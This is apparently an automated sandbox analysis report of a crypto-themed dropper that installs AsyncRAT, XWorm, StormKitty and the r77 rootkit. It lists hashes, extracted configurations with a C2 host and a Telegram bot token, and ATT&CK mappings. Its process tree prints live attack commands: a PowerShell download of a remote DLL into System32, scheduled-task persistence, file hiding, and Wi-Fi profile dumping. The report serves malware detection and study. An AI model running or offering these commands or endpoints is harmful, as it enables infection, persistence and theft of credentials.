asyncrat | e73c96538ec60c2117b6ed82b7f95f8894abed022ee9ab03c1be90ebd9722f06

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 23:08

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General

Target

flashETHv.1.exe
Size

701KB
MD5

d57ac3c31d7069ee6a76c3572f5c234a
SHA1

e6f3b23343a9b716c7529d282a2322c1f528b576
SHA256

e73c96538ec60c2117b6ed82b7f95f8894abed022ee9ab03c1be90ebd9722f06
SHA512

cb4334c76c427305b9b83f2d110e75827c4a83d296679aa04876ccbfd35c7787014a914b722348c076f5d2a3f306f98fdced54ad967953af4ad25d3f3c9eb529
SSDEEP

12288:YwEWeJxd5eyh4R0a6mQlRkORS2DNIWWo0dK+/rYtlsfhZDFyJ/b9A64YVNSANzNc:YBfneyh4R0NPRFXBJWo0dK+/sjkhZZyM

Score

10^/10

asyncrat r77 stormkitty xworm default discovery evasion execution persistence privilege_escalation rat rootkit spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Extracted

Family

xworm

SLL.casacam.net:4444

Attributes

Install_directory
%LocalAppData%
install_file
Interrupi.exe

aes.plain

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7170788789:AAFDgtgiOhG8owpmypRYbNLRYrxlniuiyIs/sendMessage?chat_id=6101540297

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023b79-9.dat	family_xworm
behavioral2/memory/3192-33-0x0000000000A40000-0x0000000000A58000-memory.dmp	family_xworm
behavioral2/memory/4872-66-0x000000001B310000-0x000000001B328000-memory.dmp	family_xworm
behavioral2/memory/4872-68-0x000000001B330000-0x000000001B344000-memory.dmp	family_xworm

R77 family
r77
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b7f-38.dat	family_stormkitty
behavioral2/memory/3016-59-0x0000000000ED0000-0x0000000000F0E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 1 IoCs

Detects the payload of the r77 rootkit.

resource	yara_rule
behavioral2/files/0x0008000000023c0f-272.dat	r77_payload

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000a000000023b7f-38.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	3792	powershell.exe
26	3792	powershell.exe

Downloads MZ/PE file
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
832	attrib.exe
1936	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	winlogoc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	S444.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	$77-System32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	flashETHv.1.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Interrupi.lnk	winlogoc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Interrupi.lnk	winlogoc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-System32.exe	$77-System32.exe

Executes dropped EXE 9 IoCs

pid	Process
3192	winlogoc.exe
3332	S444.exe
4872	ss32.exe
3016	SYS.exe
2960	USDT Flasher.exe
4992	$77-System32.exe
3020	Interrupi.exe
2500	Interrupi.exe
1540	Interrupi.exe

Loads dropped DLL 3 IoCs

pid	Process
3624	Process not Found
2500	Interrupi.exe
1540	Interrupi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Interrupi = "C:\\Users\\Admin\\AppData\\Local\\Interrupi.exe"	winlogoc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\$77-System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-System32.exe"	$77-System32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3792	powershell.exe

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	SYS.exe
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	SYS.exe
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	SYS.exe
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	SYS.exe
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	SYS.exe
File created	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	SYS.exe
File opened for modification	C:\Users\Admin\AppData\Local\861cbad1abe83401510809554dc4d600\Admin@ZTSLLRFH_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	SYS.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	raw.githubusercontent.com
26	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	flashETHv.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SYS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	S444.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	USDT Flasher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-System32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4872	cmd.exe
4492	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	SYS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	SYS.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	USDT Flasher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	USDT Flasher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	USDT Flasher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	USDT Flasher.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	USDT Flasher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	USDT Flasher.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
712	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
4872	ss32.exe
3192	winlogoc.exe
4992	$77-System32.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3016	SYS.exe
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
2500	Interrupi.exe
2500	Interrupi.exe
1540	Interrupi.exe
1540	Interrupi.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	3192	winlogoc.exe
Token: SeDebugPrivilege	4872	ss32.exe
Token: SeDebugPrivilege	3016	SYS.exe
Token: SeDebugPrivilege	3192	winlogoc.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	3020	Interrupi.exe
Token: SeDebugPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: SeDebugPrivilege	2500	Interrupi.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe
Token: SeDebugPrivilege	1540	Interrupi.exe
Token: 33	4992	$77-System32.exe
Token: SeIncBasePriorityPrivilege	4992	$77-System32.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe
2960	USDT Flasher.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 3192	3492	flashETHv.1.exe	83
PID 3492 wrote to memory of 3192	3492	flashETHv.1.exe	83
PID 3492 wrote to memory of 3332	3492	flashETHv.1.exe	84
PID 3492 wrote to memory of 3332	3492	flashETHv.1.exe	84
PID 3492 wrote to memory of 3332	3492	flashETHv.1.exe	84
PID 3492 wrote to memory of 4872	3492	flashETHv.1.exe	85
PID 3492 wrote to memory of 4872	3492	flashETHv.1.exe	85
PID 3492 wrote to memory of 3016	3492	flashETHv.1.exe	86
PID 3492 wrote to memory of 3016	3492	flashETHv.1.exe	86
PID 3492 wrote to memory of 3016	3492	flashETHv.1.exe	86
PID 3492 wrote to memory of 2960	3492	flashETHv.1.exe	87
PID 3492 wrote to memory of 2960	3492	flashETHv.1.exe	87
PID 3492 wrote to memory of 2960	3492	flashETHv.1.exe	87
PID 3192 wrote to memory of 712	3192	winlogoc.exe	89
PID 3192 wrote to memory of 712	3192	winlogoc.exe	89
PID 3332 wrote to memory of 1248	3332	S444.exe	91
PID 3332 wrote to memory of 1248	3332	S444.exe	91
PID 3332 wrote to memory of 1248	3332	S444.exe	91
PID 1248 wrote to memory of 1936	1248	cmd.exe	93
PID 1248 wrote to memory of 1936	1248	cmd.exe	93
PID 1248 wrote to memory of 1936	1248	cmd.exe	93
PID 3332 wrote to memory of 4992	3332	S444.exe	94
PID 3332 wrote to memory of 4992	3332	S444.exe	94
PID 3332 wrote to memory of 4992	3332	S444.exe	94
PID 4992 wrote to memory of 5092	4992	$77-System32.exe	99
PID 4992 wrote to memory of 5092	4992	$77-System32.exe	99
PID 4992 wrote to memory of 5092	4992	$77-System32.exe	99
PID 5092 wrote to memory of 832	5092	cmd.exe	101
PID 5092 wrote to memory of 832	5092	cmd.exe	101
PID 5092 wrote to memory of 832	5092	cmd.exe	101
PID 3016 wrote to memory of 4872	3016	SYS.exe	102
PID 3016 wrote to memory of 4872	3016	SYS.exe	102
PID 3016 wrote to memory of 4872	3016	SYS.exe	102
PID 4872 wrote to memory of 3876	4872	cmd.exe	104
PID 4872 wrote to memory of 3876	4872	cmd.exe	104
PID 4872 wrote to memory of 3876	4872	cmd.exe	104
PID 4872 wrote to memory of 4492	4872	cmd.exe	105
PID 4872 wrote to memory of 4492	4872	cmd.exe	105
PID 4872 wrote to memory of 4492	4872	cmd.exe	105
PID 4872 wrote to memory of 804	4872	cmd.exe	106
PID 4872 wrote to memory of 804	4872	cmd.exe	106
PID 4872 wrote to memory of 804	4872	cmd.exe	106
PID 4992 wrote to memory of 4252	4992	$77-System32.exe	107
PID 4992 wrote to memory of 4252	4992	$77-System32.exe	107
PID 4992 wrote to memory of 4252	4992	$77-System32.exe	107
PID 3016 wrote to memory of 2640	3016	SYS.exe	110
PID 3016 wrote to memory of 2640	3016	SYS.exe	110
PID 3016 wrote to memory of 2640	3016	SYS.exe	110
PID 4252 wrote to memory of 3792	4252	cmd.exe	109
PID 4252 wrote to memory of 3792	4252	cmd.exe	109
PID 4252 wrote to memory of 3792	4252	cmd.exe	109
PID 2640 wrote to memory of 3328	2640	cmd.exe	113
PID 2640 wrote to memory of 3328	2640	cmd.exe	113
PID 2640 wrote to memory of 3328	2640	cmd.exe	113
PID 2640 wrote to memory of 4936	2640	cmd.exe	114
PID 2640 wrote to memory of 4936	2640	cmd.exe	114
PID 2640 wrote to memory of 4936	2640	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1936	attrib.exe
832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\flashETHv.1.exe
"C:\Users\Admin\AppData\Local\Temp\flashETHv.1.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Users\Admin\AppData\Roaming\winlogoc.exe
  "C:\Users\Admin\AppData\Roaming\winlogoc.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Interrupi" /tr "C:\Users\Admin\AppData\Local\Interrupi.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:712
- C:\Users\Admin\AppData\Roaming\S444.exe
  "C:\Users\Admin\AppData\Roaming\S444.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Roaming\S444.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\Users\Admin\AppData\Roaming\S444.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1936
- - C:\System32\$77-System32.exe
    "C:\System32\$77-System32.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c attrib +s +h +r "C:\System32\$77-System32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5092
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h +r "C:\System32\$77-System32.exe"
        5⤵
        Sets file to hidden
        System Location Discovery: System Language Discovery
        Views/modifies file attributes
        
        PID:832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4252
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','\System32\r77-x64.dll');exit
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3792
- C:\Users\Admin\AppData\Roaming\ss32.exe
  "C:\Users\Admin\AppData\Roaming\ss32.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:4872
- C:\Users\Admin\AppData\Roaming\SYS.exe
  "C:\Users\Admin\AppData\Roaming\SYS.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:3876
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4492
  - - C:\Windows\SysWOW64\findstr.exe
      findstr All
      4⤵
      System Location Discovery: System Language Discovery
      PID:804
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:3328
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4936
- C:\Users\Admin\AppData\Roaming\USDT Flasher.exe
  "C:\Users\Admin\AppData\Roaming\USDT Flasher.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:2960

C:\Users\Admin\AppData\Local\Interrupi.exe
C:\Users\Admin\AppData\Local\Interrupi.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3020

C:\Users\Admin\AppData\Local\Interrupi.exe
C:\Users\Admin\AppData\Local\Interrupi.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Users\Admin\AppData\Local\Interrupi.exe
C:\Users\Admin\AppData\Local\Interrupi.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\System32\r77-x64.dll

Filesize
147KB

MD5
1b8bd653321cf3cbc786e563555fbc75

SHA1
